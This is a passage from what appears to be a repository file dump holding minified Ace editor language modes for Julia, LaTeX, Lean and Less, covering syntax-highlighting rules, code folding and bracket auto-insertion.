n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/julia\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/julia_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./julia_highlight_rules\").JuliaHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.blockComment=\"\",this.$id=\"ace/mode/julia\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-latex.js",
    "content": "define(\"ace/mode/latex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\",\"lparen\",\"storage.type\",\"rparen\"],regex:\"(\\\\\\\\(?:documentclass|usepackage|input))(?:(\\\\[)([^\\\\]]*)(\\\\]))?({)([^}]*)(})\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:label|v?ref|cite(?:[^{]*)))(?:({)([^}]*)(}))?\"},{token:[\"storage.type\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:begin|end))({)(\\\\w*)(})\"},{token:\"storage.type\",regex:\"\\\\\\\\[a-zA-Z]+\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\[^a-zA-Z]?\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"equation\"}],equation:[{token:\"comment\",regex:\"%.*$\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"start\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\(?:[^a-zA-Z]|[a-zA-Z]+)\"},{token:\"error\",regex:\"^\\\\s*$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.LatexHighlightRules=s}),define(\"ace/mode/folding/latex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/^\\s*\\\\(begin)|(section|subsection|paragraph)\\b|{\\s*$/,this.foldingStopMarker=/^\\s*\\\\(end)\\b|^\\s*}/,this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.latexBlock(e,n,i[0].length-1):i[2]?this.latexSection(e,n,i[0].length-1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[1]?this.latexBlock(e,n,i[0].length-1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.latexBlock=function(e,t,n){var r={\"\\\\begin\":1,\"\\\\end\":-1},i=new o(e,t,n),u=i.getCurrentToken();if(!u||u.type!=\"storage.type\"&&u.type!=\"constant.character.escape\")return;var a=u.value,f=r[a],l=function(){var e=i.stepForward(),t=e.type==\"lparen\"?i.stepForward().value:\"\";return f===-1&&(i.stepBackward(),t&&i.stepBackward()),t},c=[l()],h=f===-1?i.getCurrentTokenColumn():e.getLine(t).length,p=t;i.step=f===-1?i.stepBackward:i.stepForward;while(u=i.step()){if(!u||u.type!=\"storage.type\"&&u.type!=\"constant.character.escape\")continue;var d=r[u.value];if(!d)continue;var v=l();if(d===f)c.unshift(v);else if(c.shift()!==v||!c.length)break}if(c.length)return;var t=i.getCurrentTokenRow();return f===-1?new s(t,e.getLine(t).length,p,h):(i.stepBackward(),new s(p,h,t,i.getCurrentTokenColumn()))},this.latexSection=function(e,t,n){var r=[\"\\\\subsection\",\"\\\\section\",\"\\\\begin\",\"\\\\end\",\"\\\\paragraph\"],i=new o(e,t,n),u=i.getCurrentToken();if(!u||u.type!=\"storage.type\")return;var a=r.indexOf(u.value),f=0,l=t;while(u=i.stepForward()){if(u.type!==\"storage.type\")continue;var c=r.indexOf(u.value);if(c>=2){f||(l=i.getCurrentTokenRow()-1),f+=c==2?1:-1;if(f<0)break}else if(c>=a)break}f||(l=i.getCurrentTokenRow()-1);while(l>t&&!/\\S/.test(e.getLine(l)))l--;return new s(t,e.getLine(t).length,l,e.getLine(l).length)}}.call(u.prototype)}),define(\"ace/mode/latex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/latex_highlight_rules\",\"ace/mode/folding/latex\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./latex_highlight_rules\").LatexHighlightRules,o=e(\"./folding/latex\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(a,i),function(){this.type=\"text\",this.lineCommentStart=\"%\",this.$id=\"ace/mode/latex\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-lean.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/lean_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=[\"add_rewrite\",\"alias\",\"as\",\"assume\",\"attribute\",\"begin\",\"by\",\"calc\",\"calc_refl\",\"calc_subst\",\"calc_trans\",\"check\",\"classes\",\"coercions\",\"conjecture\",\"constants\",\"context\",\"corollary\",\"else\",\"end\",\"environment\",\"eval\",\"example\",\"exists\",\"exit\",\"export\",\"exposing\",\"extends\",\"fields\",\"find_decl\",\"forall\",\"from\",\"fun\",\"have\",\"help\",\"hiding\",\"if\",\"import\",\"in\",\"infix\",\"infixl\",\"infixr\",\"instances\",\"let\",\"local\",\"match\",\"namespace\",\"notation\",\"obtain\",\"obtains\",\"omit\",\"opaque\",\"open\",\"options\",\"parameter\",\"parameters\",\"postfix\",\"precedence\",\"prefix\",\"premise\",\"premises\",\"print\",\"private\",\"proof\",\"protected\",\"qed\",\"raw\",\"renaming\",\"section\",\"set_option\",\"show\",\"tactic_hint\",\"take\",\"then\",\"universe\",\"universes\",\"using\",\"variable\",\"variables\",\"with\"].join(\"|\"),t=[\"inductive\",\"structure\",\"record\",\"theorem\",\"axiom\",\"axioms\",\"lemma\",\"hypothesis\",\"definition\",\"constant\"].join(\"|\"),n=[\"Prop\",\"Type\",\"Type'\",\"Type\\u208a\",\"Type\\u2081\",\"Type\\u2082\",\"Type\\u2083\"].join(\"|\"),r=\"\\\\[(\"+[\"abbreviations\",\"all-transparent\",\"begin-end-hints\",\"class\",\"classes\",\"coercion\",\"coercions\",\"declarations\",\"decls\",\"instance\",\"irreducible\",\"multiple-instances\",\"notation\",\"notations\",\"parsing-only\",\"persistent\",\"reduce-hints\",\"reducible\",\"tactic-hints\",\"visible\",\"wf\",\"whnf\"].join(\"|\")+\")\\\\]\",s=[].join(\"|\"),o=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":n,\"keyword.operator\":s,\"variable.language\":\"sorry\"},\"identifier\"),u=\"[A-Za-z_\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2100-\\u214f][A-Za-z0-9_'\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2070-\\u2079\\u207f-\\u2089\\u2090-\\u209c\\u2100-\\u214f]*\",a=new RegExp([\"#\",\"@\",\"->\",\"\\u223c\",\"\\u2194\",\"/\",\"==\",\"=\",\":=\",\"<->\",\"/\\\\\",\"\\\\/\",\"\\u2227\",\"\\u2228\",\"\\u2260\",\"<\",\">\",\"\\u2264\",\"\\u2265\",\"\\u00ac\",\"<=\",\">=\",\"\\u207b\\u00b9\",\"\\u2b1d\",\"\\u25b8\",\"\\\\+\",\"\\\\*\",\"-\",\"/\",\"\\u03bb\",\"\\u2192\",\"\\u2203\",\"\\u2200\",\":=\"].join(\"|\"));this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/-\",next:\"comment\"},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"constant.language.escape\",regex:/\\\\[n\"\\\\]/},{defaultToken:\"string\"}]},{token:\"keyword.control\",regex:t,next:[{token:\"variable.language\",regex:u,next:\"start\"}]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"storage.modifier\",regex:r},{token:o,regex:u},{token:\"operator\",regex:a},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"-/\",next:\"start\"},{defaultToken:\"comment\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(o,s),t.leanHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/lean\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lean_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lean_highlight_rules\").leanHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/-\",end:\"-/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"- \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/lean\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-less.js",
    "content": "define(\"ace/mode/less_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|lighten|darken|saturate|desaturate|fadein|fadeout|fade|spin|mix|hue|saturation|lightness|alpha|round|ceil|floor|percentage|color|iscolor|isnumber|isstring|iskeyword|isurl|ispixel|ispercentage|isem\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare|when|not|and\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:function(e){return s.hasOwnProperty(e)?\"keyword\":\"variable\"},regex:\"@[a-z0-9_\\\\-@]*\\\\b\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z_][a-z0-9-_]*\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]}};r.inherits(o,s),t.LessHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var 